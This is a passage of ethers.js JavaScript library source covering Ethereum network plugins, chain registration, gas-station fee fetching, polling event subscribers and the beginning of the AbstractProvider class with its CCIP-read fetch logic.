EnsPlugin(this.address, this.targetNetwork);\n }\n}\n/**\n * A **FeeDataNetworkPlugin** allows a network to provide and alternate\n * means to specify its fee data.\n *\n * For example, a network which does not support [[link-eip-1559]] may\n * choose to use a Gas Station site to approximate the gas price.\n */\nexport class FeeDataNetworkPlugin extends NetworkPlugin {\n #feeDataFunc;\n /**\n * The fee data function provided to the constructor.\n */\n get feeDataFunc() {\n return this.#feeDataFunc;\n }\n /**\n * Creates a new **FeeDataNetworkPlugin**.\n */\n constructor(feeDataFunc) {\n super(\"org.ethers.plugins.network.FeeData\");\n this.#feeDataFunc = feeDataFunc;\n }\n /**\n * Resolves to the fee data.\n */\n async getFeeData(provider) {\n return await this.#feeDataFunc(provider);\n }\n clone() {\n return new FeeDataNetworkPlugin(this.#feeDataFunc);\n }\n}\nexport class FetchUrlFeeDataNetworkPlugin extends NetworkPlugin {\n #url;\n #processFunc;\n /**\n * The URL to initialize the FetchRequest with in %%processFunc%%.\n */\n get url() { return this.#url; }\n /**\n * The callback to use when computing the FeeData.\n */\n get processFunc() { return this.#processFunc; }\n /**\n * Creates a new **FetchUrlFeeDataNetworkPlugin** which will\n * be used when computing the fee data for the network.\n */\n constructor(url, processFunc) {\n super(\"org.ethers.plugins.network.FetchUrlFeeDataPlugin\");\n this.#url = url;\n this.#processFunc = processFunc;\n }\n // We are immutable, so we can serve as our own clone\n clone() { return this; }\n}\n/*\nexport class CustomBlockNetworkPlugin extends NetworkPlugin {\n readonly #blockFunc: (provider: Provider, block: BlockParams) => Block;\n readonly #blockWithTxsFunc: (provider: Provider, block: BlockParams) => Block;\n\n constructor(blockFunc: (provider: Provider, block: BlockParams) => Block, blockWithTxsFunc: (provider: Provider, block: BlockParams) => Block) {\n super(\"org.ethers.network-plugins.custom-block\");\n this.#blockFunc = blockFunc;\n this.#blockWithTxsFunc = blockWithTxsFunc;\n }\n\n async getBlock(provider: Provider, block: BlockParams): Promise> {\n return await this.#blockFunc(provider, block);\n }\n\n async getBlockions(provider: Provider, block: BlockParams): Promise> {\n return await this.#blockWithTxsFunc(provider, block);\n }\n\n clone(): CustomBlockNetworkPlugin {\n return new CustomBlockNetworkPlugin(this.#blockFunc, this.#blockWithTxsFunc);\n }\n}\n*/\n//# sourceMappingURL=plugins-network.js.map","/**\n * A **Network** encapsulates the various properties required to\n * interact with a specific chain.\n *\n * @_subsection: api/providers:Networks [networks]\n */\nimport { accessListify } from \"../transaction/index.js\";\nimport { getBigInt, assert, assertArgument } from \"../utils/index.js\";\nimport { EnsPlugin, FetchUrlFeeDataNetworkPlugin, GasCostPlugin } from \"./plugins-network.js\";\n/* * * *\n// Networks which operation against an L2 can use this plugin to\n// specify how to access L1, for the purpose of resolving ENS,\n// for example.\nexport class LayerOneConnectionPlugin extends NetworkPlugin {\n readonly provider!: Provider;\n// @TODO: Rename to ChainAccess and allow for connecting to any chain\n constructor(provider: Provider) {\n super(\"org.ethers.plugins.layer-one-connection\");\n defineProperties(this, { provider });\n }\n\n clone(): LayerOneConnectionPlugin {\n return new LayerOneConnectionPlugin(this.provider);\n }\n}\n*/\nconst Networks = new Map();\n/**\n * A **Network** provides access to a chain's properties and allows\n * for plug-ins to extend functionality.\n */\nexport class Network {\n #name;\n #chainId;\n #plugins;\n /**\n * Creates a new **Network** for %%name%% and %%chainId%%.\n */\n constructor(name, chainId) {\n this.#name = name;\n this.#chainId = getBigInt(chainId);\n this.#plugins = new Map();\n }\n /**\n * Returns a JSON-compatible representation of a Network.\n */\n toJSON() {\n return { name: this.name, chainId: String(this.chainId) };\n }\n /**\n * The network common name.\n *\n * This is the canonical name, as networks migh have multiple\n * names.\n */\n get name() { return this.#name; }\n set name(value) { this.#name = value; }\n /**\n * The network chain ID.\n */\n get chainId() { return this.#chainId; }\n set chainId(value) { this.#chainId = getBigInt(value, \"chainId\"); }\n /**\n * Returns true if %%other%% matches this network. Any chain ID\n * must match, and if no chain ID is present, the name must match.\n *\n * This method does not currently check for additional properties,\n * such as ENS address or plug-in compatibility.\n */\n matches(other) {\n if (other == null) {\n return false;\n }\n if (typeof (other) === \"string\") {\n try {\n return (this.chainId === getBigInt(other));\n }\n catch (error) { }\n return (this.name === other);\n }\n if (typeof (other) === \"number\" || typeof (other) === \"bigint\") {\n try {\n return (this.chainId === getBigInt(other));\n }\n catch (error) { }\n return false;\n }\n if (typeof (other) === \"object\") {\n if (other.chainId != null) {\n try {\n return (this.chainId === getBigInt(other.chainId));\n }\n catch (error) { }\n return false;\n }\n if (other.name != null) {\n return (this.name === other.name);\n }\n return false;\n }\n return false;\n }\n /**\n * Returns the list of plugins currently attached to this Network.\n */\n get plugins() {\n return Array.from(this.#plugins.values());\n }\n /**\n * Attach a new %%plugin%% to this Network. The network name\n * must be unique, excluding any fragment.\n */\n attachPlugin(plugin) {\n if (this.#plugins.get(plugin.name)) {\n throw new Error(`cannot replace existing plugin: ${plugin.name} `);\n }\n this.#plugins.set(plugin.name, plugin.clone());\n return this;\n }\n /**\n * Return the plugin, if any, matching %%name%% exactly. Plugins\n * with fragments will not be returned unless %%name%% includes\n * a fragment.\n */\n getPlugin(name) {\n return (this.#plugins.get(name)) || null;\n }\n /**\n * Gets a list of all plugins that match %%name%%, with otr without\n * a fragment.\n */\n getPlugins(basename) {\n return (this.plugins.filter((p) => (p.name.split(\"#\")[0] === basename)));\n }\n /**\n * Create a copy of this Network.\n */\n clone() {\n const clone = new Network(this.name, this.chainId);\n this.plugins.forEach((plugin) => {\n clone.attachPlugin(plugin.clone());\n });\n return clone;\n }\n /**\n * Compute the intrinsic gas required for a transaction.\n *\n * A GasCostPlugin can be attached to override the default\n * values.\n */\n computeIntrinsicGas(tx) {\n const costs = this.getPlugin(\"org.ethers.plugins.network.GasCost\") || (new GasCostPlugin());\n let gas = costs.txBase;\n if (tx.to == null) {\n gas += costs.txCreate;\n }\n if (tx.data) {\n for (let i = 2; i < tx.data.length; i += 2) {\n if (tx.data.substring(i, i + 2) === \"00\") {\n gas += costs.txDataZero;\n }\n else {\n gas += costs.txDataNonzero;\n }\n }\n }\n if (tx.accessList) {\n const accessList = accessListify(tx.accessList);\n for (const addr in accessList) {\n gas += costs.txAccessListAddress + costs.txAccessListStorageKey * accessList[addr].storageKeys.length;\n }\n }\n return gas;\n }\n /**\n * Returns a new Network for the %%network%% name or chainId.\n */\n static from(network) {\n injectCommonNetworks();\n // Default network\n if (network == null) {\n return Network.from(\"mainnet\");\n }\n // Canonical name or chain ID\n if (typeof (network) === \"number\") {\n network = BigInt(network);\n }\n if (typeof (network) === \"string\" || typeof (network) === \"bigint\") {\n const networkFunc = Networks.get(network);\n if (networkFunc) {\n return networkFunc();\n }\n if (typeof (network) === \"bigint\") {\n return new Network(\"unknown\", network);\n }\n assertArgument(false, \"unknown network\", \"network\", network);\n }\n // Clonable with network-like abilities\n if (typeof (network.clone) === \"function\") {\n const clone = network.clone();\n //if (typeof(network.name) !== \"string\" || typeof(network.chainId) !== \"number\") {\n //}\n return clone;\n }\n // Networkish\n if (typeof (network) === \"object\") {\n assertArgument(typeof (network.name) === \"string\" && typeof (network.chainId) === \"number\", \"invalid network object name or chainId\", \"network\", network);\n const custom = new Network((network.name), (network.chainId));\n if (network.ensAddress || network.ensNetwork != null) {\n custom.attachPlugin(new EnsPlugin(network.ensAddress, network.ensNetwork));\n }\n //if ((network).layerOneConnection) {\n // custom.attachPlugin(new LayerOneConnectionPlugin((network).layerOneConnection));\n //}\n return custom;\n }\n assertArgument(false, \"invalid network\", \"network\", network);\n }\n /**\n * Register %%nameOrChainId%% with a function which returns\n * an instance of a Network representing that chain.\n */\n static register(nameOrChainId, networkFunc) {\n if (typeof (nameOrChainId) === \"number\") {\n nameOrChainId = BigInt(nameOrChainId);\n }\n const existing = Networks.get(nameOrChainId);\n if (existing) {\n assertArgument(false, `conflicting network for ${JSON.stringify(existing.name)}`, \"nameOrChainId\", nameOrChainId);\n }\n Networks.set(nameOrChainId, networkFunc);\n }\n}\n// We don't want to bring in formatUnits because it is backed by\n// FixedNumber and we want to keep Networks tiny. The values\n// included by the Gas Stations are also IEEE 754 with lots of\n// rounding issues and exceed the strict checks formatUnits has.\nfunction parseUnits(_value, decimals) {\n const value = String(_value);\n if (!value.match(/^[0-9.]+$/)) {\n throw new Error(`invalid gwei value: ${_value}`);\n }\n // Break into [ whole, fraction ]\n const comps = value.split(\".\");\n if (comps.length === 1) {\n comps.push(\"\");\n }\n // More than 1 decimal point or too many fractional positions\n if (comps.length !== 2) {\n throw new Error(`invalid gwei value: ${_value}`);\n }\n // Pad the fraction to 9 decimalplaces\n while (comps[1].length < decimals) {\n comps[1] += \"0\";\n }\n // Too many decimals and some non-zero ending, take the ceiling\n if (comps[1].length > 9) {\n let frac = BigInt(comps[1].substring(0, 9));\n if (!comps[1].substring(9).match(/^0+$/)) {\n frac++;\n }\n comps[1] = frac.toString();\n }\n return BigInt(comps[0] + comps[1]);\n}\n// Used by Polygon to use a gas station for fee data\nfunction getGasStationPlugin(url) {\n return new FetchUrlFeeDataNetworkPlugin(url, async (fetchFeeData, provider, request) => {\n // Prevent Cloudflare from blocking our request in node.js\n request.setHeader(\"User-Agent\", \"ethers\");\n let response;\n try {\n const [_response, _feeData] = await Promise.all([\n request.send(), fetchFeeData()\n ]);\n response = _response;\n const payload = response.bodyJson.standard;\n const feeData = {\n gasPrice: _feeData.gasPrice,\n maxFeePerGas: parseUnits(payload.maxFee, 9),\n maxPriorityFeePerGas: parseUnits(payload.maxPriorityFee, 9),\n };\n return feeData;\n }\n catch (error) {\n assert(false, `error encountered with polygon gas station (${JSON.stringify(request.url)})`, \"SERVER_ERROR\", { request, response, error });\n }\n });\n}\n// See: https://chainlist.org\nlet injected = false;\nfunction injectCommonNetworks() {\n if (injected) {\n return;\n }\n injected = true;\n /// Register popular Ethereum networks\n function registerEth(name, chainId, options) {\n const func = function () {\n const network = new Network(name, chainId);\n // We use 0 to disable ENS\n if (options.ensNetwork != null) {\n network.attachPlugin(new EnsPlugin(null, options.ensNetwork));\n }\n network.attachPlugin(new GasCostPlugin());\n (options.plugins || []).forEach((plugin) => {\n network.attachPlugin(plugin);\n });\n return network;\n };\n // Register the network by name and chain ID\n Network.register(name, func);\n Network.register(chainId, func);\n if (options.altNames) {\n options.altNames.forEach((name) => {\n Network.register(name, func);\n });\n }\n }\n registerEth(\"mainnet\", 1, { ensNetwork: 1, altNames: [\"homestead\"] });\n registerEth(\"ropsten\", 3, { ensNetwork: 3 });\n registerEth(\"rinkeby\", 4, { ensNetwork: 4 });\n registerEth(\"goerli\", 5, { ensNetwork: 5 });\n registerEth(\"kovan\", 42, { ensNetwork: 42 });\n registerEth(\"sepolia\", 11155111, { ensNetwork: 11155111 });\n registerEth(\"holesky\", 17000, { ensNetwork: 17000 });\n registerEth(\"classic\", 61, {});\n registerEth(\"classicKotti\", 6, {});\n registerEth(\"arbitrum\", 42161, {\n ensNetwork: 1,\n });\n registerEth(\"arbitrum-goerli\", 421613, {});\n registerEth(\"arbitrum-sepolia\", 421614, {});\n registerEth(\"base\", 8453, { ensNetwork: 1 });\n registerEth(\"base-goerli\", 84531, {});\n registerEth(\"base-sepolia\", 84532, {});\n registerEth(\"bnb\", 56, { ensNetwork: 1 });\n registerEth(\"bnbt\", 97, {});\n registerEth(\"linea\", 59144, { ensNetwork: 1 });\n registerEth(\"linea-goerli\", 59140, {});\n registerEth(\"linea-sepolia\", 59141, {});\n registerEth(\"matic\", 137, {\n ensNetwork: 1,\n plugins: [\n getGasStationPlugin(\"https:/\\/gasstation.polygon.technology/v2\")\n ]\n });\n registerEth(\"matic-amoy\", 80002, {});\n registerEth(\"matic-mumbai\", 80001, {\n altNames: [\"maticMumbai\", \"maticmum\"],\n plugins: [\n getGasStationPlugin(\"https:/\\/gasstation-testnet.polygon.technology/v2\")\n ]\n });\n registerEth(\"optimism\", 10, {\n ensNetwork: 1,\n plugins: []\n });\n registerEth(\"optimism-goerli\", 420, {});\n registerEth(\"optimism-sepolia\", 11155420, {});\n registerEth(\"xdai\", 100, { ensNetwork: 1 });\n}\n//# sourceMappingURL=network.js.map","import { assert, isHexString } from \"../utils/index.js\";\nfunction copy(obj) {\n return JSON.parse(JSON.stringify(obj));\n}\n/**\n * Return the polling subscriber for common events.\n *\n * @_docloc: api/providers/abstract-provider\n */\nexport function getPollingSubscriber(provider, event) {\n if (event === \"block\") {\n return new PollingBlockSubscriber(provider);\n }\n if (isHexString(event, 32)) {\n return new PollingTransactionSubscriber(provider, event);\n }\n assert(false, \"unsupported polling event\", \"UNSUPPORTED_OPERATION\", {\n operation: \"getPollingSubscriber\", info: { event }\n });\n}\n// @TODO: refactor this\n/**\n * A **PollingBlockSubscriber** polls at a regular interval for a change\n * in the block number.\n *\n * @_docloc: api/providers/abstract-provider\n */\nexport class PollingBlockSubscriber {\n #provider;\n #poller;\n #interval;\n // The most recent block we have scanned for events. The value -2\n // indicates we still need to fetch an initial block number\n #blockNumber;\n /**\n * Create a new **PollingBlockSubscriber** attached to %%provider%%.\n */\n constructor(provider) {\n this.#provider = provider;\n this.#poller = null;\n this.#interval = 4000;\n this.#blockNumber = -2;\n }\n /**\n * The polling interval.\n */\n get pollingInterval() { return this.#interval; }\n set pollingInterval(value) { this.#interval = value; }\n async #poll() {\n try {\n const blockNumber = await this.#provider.getBlockNumber();\n // Bootstrap poll to setup our initial block number\n if (this.#blockNumber === -2) {\n this.#blockNumber = blockNumber;\n return;\n }\n // @TODO: Put a cap on the maximum number of events per loop?\n if (blockNumber !== this.#blockNumber) {\n for (let b = this.#blockNumber + 1; b <= blockNumber; b++) {\n // We have been stopped\n if (this.#poller == null) {\n return;\n }\n await this.#provider.emit(\"block\", b);\n }\n this.#blockNumber = blockNumber;\n }\n }\n catch (error) {\n // @TODO: Minor bump, add an \"error\" event to let subscribers\n // know things went awry.\n //console.log(error);\n }\n // We have been stopped\n if (this.#poller == null) {\n return;\n }\n this.#poller = this.#provider._setTimeout(this.#poll.bind(this), this.#interval);\n }\n start() {\n if (this.#poller) {\n return;\n }\n this.#poller = this.#provider._setTimeout(this.#poll.bind(this), this.#interval);\n this.#poll();\n }\n stop() {\n if (!this.#poller) {\n return;\n }\n this.#provider._clearTimeout(this.#poller);\n this.#poller = null;\n }\n pause(dropWhilePaused) {\n this.stop();\n if (dropWhilePaused) {\n this.#blockNumber = -2;\n }\n }\n resume() {\n this.start();\n }\n}\n/**\n * An **OnBlockSubscriber** can be sub-classed, with a [[_poll]]\n * implmentation which will be called on every new block.\n *\n * @_docloc: api/providers/abstract-provider\n */\nexport class OnBlockSubscriber {\n #provider;\n #poll;\n #running;\n /**\n * Create a new **OnBlockSubscriber** attached to %%provider%%.\n */\n constructor(provider) {\n this.#provider = provider;\n this.#running = false;\n this.#poll = (blockNumber) => {\n this._poll(blockNumber, this.#provider);\n };\n }\n /**\n * Called on every new block.\n */\n async _poll(blockNumber, provider) {\n throw new Error(\"sub-classes must override this\");\n }\n start() {\n if (this.#running) {\n return;\n }\n this.#running = true;\n this.#poll(-2);\n this.#provider.on(\"block\", this.#poll);\n }\n stop() {\n if (!this.#running) {\n return;\n }\n this.#running = false;\n this.#provider.off(\"block\", this.#poll);\n }\n pause(dropWhilePaused) { this.stop(); }\n resume() { this.start(); }\n}\nexport class PollingBlockTagSubscriber extends OnBlockSubscriber {\n #tag;\n #lastBlock;\n constructor(provider, tag) {\n super(provider);\n this.#tag = tag;\n this.#lastBlock = -2;\n }\n pause(dropWhilePaused) {\n if (dropWhilePaused) {\n this.#lastBlock = -2;\n }\n super.pause(dropWhilePaused);\n }\n async _poll(blockNumber, provider) {\n const block = await provider.getBlock(this.#tag);\n if (block == null) {\n return;\n }\n if (this.#lastBlock === -2) {\n this.#lastBlock = block.number;\n }\n else if (block.number > this.#lastBlock) {\n provider.emit(this.#tag, block.number);\n this.#lastBlock = block.number;\n }\n }\n}\n/**\n * @_ignore:\n *\n * @_docloc: api/providers/abstract-provider\n */\nexport class PollingOrphanSubscriber extends OnBlockSubscriber {\n #filter;\n constructor(provider, filter) {\n super(provider);\n this.#filter = copy(filter);\n }\n async _poll(blockNumber, provider) {\n throw new Error(\"@TODO\");\n console.log(this.#filter);\n }\n}\n/**\n * A **PollingTransactionSubscriber** will poll for a given transaction\n * hash for its receipt.\n *\n * @_docloc: api/providers/abstract-provider\n */\nexport class PollingTransactionSubscriber extends OnBlockSubscriber {\n #hash;\n /**\n * Create a new **PollingTransactionSubscriber** attached to\n * %%provider%%, listening for %%hash%%.\n */\n constructor(provider, hash) {\n super(provider);\n this.#hash = hash;\n }\n async _poll(blockNumber, provider) {\n const tx = await provider.getTransactionReceipt(this.#hash);\n if (tx) {\n provider.emit(this.#hash, tx);\n }\n }\n}\n/**\n * A **PollingEventSubscriber** will poll for a given filter for its logs.\n *\n * @_docloc: api/providers/abstract-provider\n */\nexport class PollingEventSubscriber {\n #provider;\n #filter;\n #poller;\n #running;\n // The most recent block we have scanned for events. The value -2\n // indicates we still need to fetch an initial block number\n #blockNumber;\n /**\n * Create a new **PollingTransactionSubscriber** attached to\n * %%provider%%, listening for %%filter%%.\n */\n constructor(provider, filter) {\n this.#provider = provider;\n this.#filter = copy(filter);\n this.#poller = this.#poll.bind(this);\n this.#running = false;\n this.#blockNumber = -2;\n }\n async #poll(blockNumber) {\n // The initial block hasn't been determined yet\n if (this.#blockNumber === -2) {\n return;\n }\n const filter = copy(this.#filter);\n filter.fromBlock = this.#blockNumber + 1;\n filter.toBlock = blockNumber;\n const logs = await this.#provider.getLogs(filter);\n // No logs could just mean the node has not indexed them yet,\n // so we keep a sliding window of 60 blocks to keep scanning\n if (logs.length === 0) {\n if (this.#blockNumber < blockNumber - 60) {\n this.#blockNumber = blockNumber - 60;\n }\n return;\n }\n for (const log of logs) {\n this.#provider.emit(this.#filter, log);\n // Only advance the block number when logs were found to\n // account for networks (like BNB and Polygon) which may\n // sacrifice event consistency for block event speed\n this.#blockNumber = log.blockNumber;\n }\n }\n start() {\n if (this.#running) {\n return;\n }\n this.#running = true;\n if (this.#blockNumber === -2) {\n this.#provider.getBlockNumber().then((blockNumber) => {\n this.#blockNumber = blockNumber;\n });\n }\n this.#provider.on(\"block\", this.#poller);\n }\n stop() {\n if (!this.#running) {\n return;\n }\n this.#running = false;\n this.#provider.off(\"block\", this.#poller);\n }\n pause(dropWhilePaused) {\n this.stop();\n if (dropWhilePaused) {\n this.#blockNumber = -2;\n }\n }\n resume() {\n this.start();\n }\n}\n//# sourceMappingURL=subscriber-polling.js.map","/**\n * The available providers should suffice for most developers purposes,\n * but the [[AbstractProvider]] class has many features which enable\n * sub-classing it for specific purposes.\n *\n * @_section: api/providers/abstract-provider: Subclassing Provider [abstract-provider]\n */\n// @TODO\n// Event coalescence\n// When we register an event with an async value (e.g. address is a Signer\n// or ENS name), we need to add it immeidately for the Event API, but also\n// need time to resolve the address. Upon resolving the address, we need to\n// migrate the listener to the static event. We also need to maintain a map\n// of Signer/ENS name to address so we can sync respond to listenerCount.\nimport { getAddress, resolveAddress } from \"../address/index.js\";\nimport { ZeroAddress } from \"../constants/index.js\";\nimport { Contract } from \"../contract/index.js\";\nimport { namehash } from \"../hash/index.js\";\nimport { Transaction } from \"../transaction/index.js\";\nimport { concat, dataLength, dataSlice, hexlify, isHexString, getBigInt, getBytes, getNumber, isCallException, isError, makeError, assert, assertArgument, FetchRequest, toBeArray, toQuantity, defineProperties, EventPayload, resolveProperties, toUtf8String } from \"../utils/index.js\";\nimport { EnsResolver } from \"./ens-resolver.js\";\nimport { formatBlock, formatLog, formatTransactionReceipt, formatTransactionResponse } from \"./format.js\";\nimport { Network } from \"./network.js\";\nimport { copyRequest, Block, FeeData, Log, TransactionReceipt, TransactionResponse } from \"./provider.js\";\nimport { PollingBlockSubscriber, PollingBlockTagSubscriber, PollingEventSubscriber, PollingOrphanSubscriber, PollingTransactionSubscriber } from \"./subscriber-polling.js\";\n// Constants\nconst BN_2 = BigInt(2);\nconst MAX_CCIP_REDIRECTS = 10;\nfunction isPromise(value) {\n return (value && typeof (value.then) === \"function\");\n}\nfunction getTag(prefix, value) {\n return prefix + \":\" + JSON.stringify(value, (k, v) => {\n if (v == null) {\n return \"null\";\n }\n if (typeof (v) === \"bigint\") {\n return `bigint:${v.toString()}`;\n }\n if (typeof (v) === \"string\") {\n return v.toLowerCase();\n }\n // Sort object keys\n if (typeof (v) === \"object\" && !Array.isArray(v)) {\n const keys = Object.keys(v);\n keys.sort();\n return keys.reduce((accum, key) => {\n accum[key] = v[key];\n return accum;\n }, {});\n }\n return v;\n });\n}\n/**\n * An **UnmanagedSubscriber** is useful for events which do not require\n * any additional management, such as ``\"debug\"`` which only requires\n * emit in synchronous event loop triggered calls.\n */\nexport class UnmanagedSubscriber {\n /**\n * The name fof the event.\n */\n name;\n /**\n * Create a new UnmanagedSubscriber with %%name%%.\n */\n constructor(name) { defineProperties(this, { name }); }\n start() { }\n stop() { }\n pause(dropWhilePaused) { }\n resume() { }\n}\nfunction copy(value) {\n return JSON.parse(JSON.stringify(value));\n}\nfunction concisify(items) {\n items = Array.from((new Set(items)).values());\n items.sort();\n return items;\n}\nasync function getSubscription(_event, provider) {\n if (_event == null) {\n throw new Error(\"invalid event\");\n }\n // Normalize topic array info an EventFilter\n if (Array.isArray(_event)) {\n _event = { topics: _event };\n }\n if (typeof (_event) === \"string\") {\n switch (_event) {\n case \"block\":\n case \"debug\":\n case \"error\":\n case \"finalized\":\n case \"network\":\n case \"pending\":\n case \"safe\": {\n return { type: _event, tag: _event };\n }\n }\n }\n if (isHexString(_event, 32)) {\n const hash = _event.toLowerCase();\n return { type: \"transaction\", tag: getTag(\"tx\", { hash }), hash };\n }\n if (_event.orphan) {\n const event = _event;\n // @TODO: Should lowercase and whatnot things here instead of copy...\n return { type: \"orphan\", tag: getTag(\"orphan\", event), filter: copy(event) };\n }\n if ((_event.address || _event.topics)) {\n const event = _event;\n const filter = {\n topics: ((event.topics || []).map((t) => {\n if (t == null) {\n return null;\n }\n if (Array.isArray(t)) {\n return concisify(t.map((t) => t.toLowerCase()));\n }\n return t.toLowerCase();\n }))\n };\n if (event.address) {\n const addresses = [];\n const promises = [];\n const addAddress = (addr) => {\n if (isHexString(addr)) {\n addresses.push(addr);\n }\n else {\n promises.push((async () => {\n addresses.push(await resolveAddress(addr, provider));\n })());\n }\n };\n if (Array.isArray(event.address)) {\n event.address.forEach(addAddress);\n }\n else {\n addAddress(event.address);\n }\n if (promises.length) {\n await Promise.all(promises);\n }\n filter.address = concisify(addresses.map((a) => a.toLowerCase()));\n }\n return { filter, tag: getTag(\"event\", filter), type: \"event\" };\n }\n assertArgument(false, \"unknown ProviderEvent\", \"event\", _event);\n}\nfunction getTime() { return (new Date()).getTime(); }\nconst defaultOptions = {\n cacheTimeout: 250,\n pollingInterval: 4000\n};\n/**\n * An **AbstractProvider** provides a base class for other sub-classes to\n * implement the [[Provider]] API by normalizing input arguments and\n * formatting output results as well as tracking events for consistent\n * behaviour on an eventually-consistent network.\n */\nexport class AbstractProvider {\n #subs;\n #plugins;\n // null=unpaused, true=paused+dropWhilePaused, false=paused\n #pausedState;\n #destroyed;\n #networkPromise;\n #anyNetwork;\n #performCache;\n // The most recent block number if running an event or -1 if no \"block\" event\n #lastBlockNumber;\n #nextTimer;\n #timers;\n #disableCcipRead;\n #options;\n /**\n * Create a new **AbstractProvider** connected to %%network%%, or\n * use the various network detection capabilities to discover the\n * [[Network]] if necessary.\n */\n constructor(_network, options) {\n this.#options = Object.assign({}, defaultOptions, options || {});\n if (_network === \"any\") {\n this.#anyNetwork = true;\n this.#networkPromise = null;\n }\n else if (_network) {\n const network = Network.from(_network);\n this.#anyNetwork = false;\n this.#networkPromise = Promise.resolve(network);\n setTimeout(() => { this.emit(\"network\", network, null); }, 0);\n }\n else {\n this.#anyNetwork = false;\n this.#networkPromise = null;\n }\n this.#lastBlockNumber = -1;\n this.#performCache = new Map();\n this.#subs = new Map();\n this.#plugins = new Map();\n this.#pausedState = null;\n this.#destroyed = false;\n this.#nextTimer = 1;\n this.#timers = new Map();\n this.#disableCcipRead = false;\n }\n get pollingInterval() { return this.#options.pollingInterval; }\n /**\n * Returns ``this``, to allow an **AbstractProvider** to implement\n * the [[ContractRunner]] interface.\n */\n get provider() { return this; }\n /**\n * Returns all the registered plug-ins.\n */\n get plugins() {\n return Array.from(this.#plugins.values());\n }\n /**\n * Attach a new plug-in.\n */\n attachPlugin(plugin) {\n if (this.#plugins.get(plugin.name)) {\n throw new Error(`cannot replace existing plugin: ${plugin.name} `);\n }\n this.#plugins.set(plugin.name, plugin.connect(this));\n return this;\n }\n /**\n * Get a plugin by name.\n */\n getPlugin(name) {\n return (this.#plugins.get(name)) || null;\n }\n /**\n * Prevent any CCIP-read operation, regardless of whether requested\n * in a [[call]] using ``enableCcipRead``.\n */\n get disableCcipRead() { return this.#disableCcipRead; }\n set disableCcipRead(value) { this.#disableCcipRead = !!value; }\n // Shares multiple identical requests made during the same 250ms\n async #perform(req) {\n const timeout = this.#options.cacheTimeout;\n // Caching disabled\n if (timeout < 0) {\n return await this._perform(req);\n }\n // Create a tag\n const tag = getTag(req.method, req);\n let perform = this.#performCache.get(tag);\n if (!perform) {\n perform = this._perform(req);\n this.#performCache.set(tag, perform);\n setTimeout(() => {\n if (this.#performCache.get(tag) === perform) {\n this.#performCache.delete(tag);\n }\n }, timeout);\n }\n return await perform;\n }\n /**\n * Resolves to the data for executing the CCIP-read operations.\n */\n async ccipReadFetch(tx, calldata, urls) {\n if (this.disableCcipRead || urls.length === 0 || tx.to == null) {\n return null;\n }\n const sender = tx.to.toLowerCase();\n const data = calldata.toLowerCase();\n const errorMessages = [];\n for (let i = 0; i < urls.length; i++) {\n const url = urls[i];\n // URL expansion\n const href = url.replace(\"{sender}\", sender).replace(\"{data}\", data);\n // If no {data} is present, use POST; otherwise GET\n //const json: string | null = (url.indexOf(\"{data}\") >= 0) ? null: JSON.stringify({ data, sender });\n //const result = await fetchJson({ url: href, errorPassThrough: true }, json, (value, response) => {\n // value.status = response.statusCode;\n // return value;\n //});\n const request = new FetchRequest(href);\n if (url.indexOf(\"{data}\") === -1) {\n request.body = { data, sender };\n }\n this.emit(\"debug\", { action: \"sendCcipReadFetchRequest\", request, index: i, urls });\n let errorMessage = \"unknown error\";\n // Fetch the resource...\n let resp;\n try {\n resp = await request.send();\n }\n catch (error) {\n // ...low-level fetch error (missing host, bad SSL, etc.),\n // so try next URL\n errorMessages.push(error.message);\n this.emit(\"debug\", { action: \"receiveCcipReadFetchError\", request, result: { error } });\n continue;\n }\n try {\n const result = resp.bodyJson;\n if (result.data) {\n this.emit(\"debug\", { action: \"receiveCcipReadFetchResult\", request, result });\n return result.data;\n }\n if (result.message) {\n errorMessage = result.message;\n }\n this.emit(\"debug\", { action: \"receiveCcipReadFetchError\", request, result });\n }\n catch (error) { }\n // 4xx indicates the result is not present; stop\n assert(resp.statusCode < 400 || resp.statusCode >= 500, `response not found during CCIP fetch: ${errorMessage}`, \"OFFCHAIN_FAULT\", { reason: \"404_MISSING_RESOURCE\", transaction: tx, info: { url, errorMessage } });\n // 5xx indicates server issue; try the next url\n errorMessages.push(errorMessage);\n }\n assert(false, `error encountered during CCIP fetch: ${errorMessages.map((m) => JSON.stringify(m)).join(\", \")}`, \"OFFCHAIN_FAULT\", {\n reason: \"500_SERVER_ERROR\",\n transaction: tx, info: { urls, errorMessages }\n });\n }\n /**\n * Provides the opportunity for a sub-class to wrap a block before\n * returning it, to add additional properties or an alternate\n * sub-class of [[Block]].\n */\n _wrapBlock(value, network) {\n return new Block(formatBlock(value), this);\n }\n /**\n * Provides the opportunity for a sub-class to wrap a log before\n * returning it, to add additional properties or an alternate\n * sub-class of [[Log]].\n */\n _wrapLog(value, network) {\n return new Log(formatLog(value), this);\n }\n /**\n * Provides the opportunity for a sub-class to wrap a transaction\n * receipt before returning it, to add additional properties or an\n * alternate sub-class of [[TransactionReceipt]].\n */\n _wrapTransactionReceipt(value, network) {\n return new TransactionReceipt(formatTransactionReceipt(value), this);\n }\n /**\n * Provides the opportunity for a sub-class to wrap a transaction\n * response before returning it, to add additional properties or an\n * alternate sub-class of [[TransactionResponse]].\n */\n _wrapTransactionResponse(tx, network) {\n return new TransactionResponse(formatTransactionResponse(tx), this);\n }\n /**\n * Resolves to the Network, forcing a network detection using whatever\n * technique the sub-class requires.\n *\n * Sub-classes **must** override this.\n */\n _detectNetwork() {\n assert(false, \"sub-classes must implement this\", \"UNSUPPORTED_OPERATION\", {\n operation: \"_detectNetwork\"\n });\n }\n /**\n * Sub-classes should use this to perform all built-in operations. All\n * methods sanitizes and normalizes the values passed into this.\n *\n * Sub-classes **must** override this.\n */\n async _perform(req) {\n assert(false, `unsupported method: ${req.method}`, \"UNSUPPORTED_OPERATION\", {\n operation: req.method,\n info: req\n });\n }\n // State\n async getBlockNumber() {\n const blockNumber = getNumber(await this.#perform({ method: \"getBlockNumber\" }), \"%response\");\n if (this.#lastBlockNumber >= 0) {\n this.#lastBlockNumber = blockNumber;\n }\n return blockNumber;\n }\n /**\n * Returns or resolves to the address for %%address%%, resolving ENS\n * names and [[Addressable]] objects and returning if already an\n * address.\n */\n _getAddress(address) {\n return resolveAddress(address, this);\n }\n /**\n * Returns or resolves to a valid block tag for %%blockTag%%, resolving\n * negative values and returning if already a valid block tag.\n */\n _getBlockTag(blockTag) {\n if (blockTag == null) {\n return \"latest\";\n }\n switch (blockTag) {\n case \"earliest\":\n return \"0x0\";\n case \"finalized\":\n case \"latest\":\n case \"pending\":\n case \"safe\":\n return blockTag;\n }\n if (isHexString(blockTag)) {\n if (isHexString(blockTag, 32)) {\n return blockTag;\n }\n 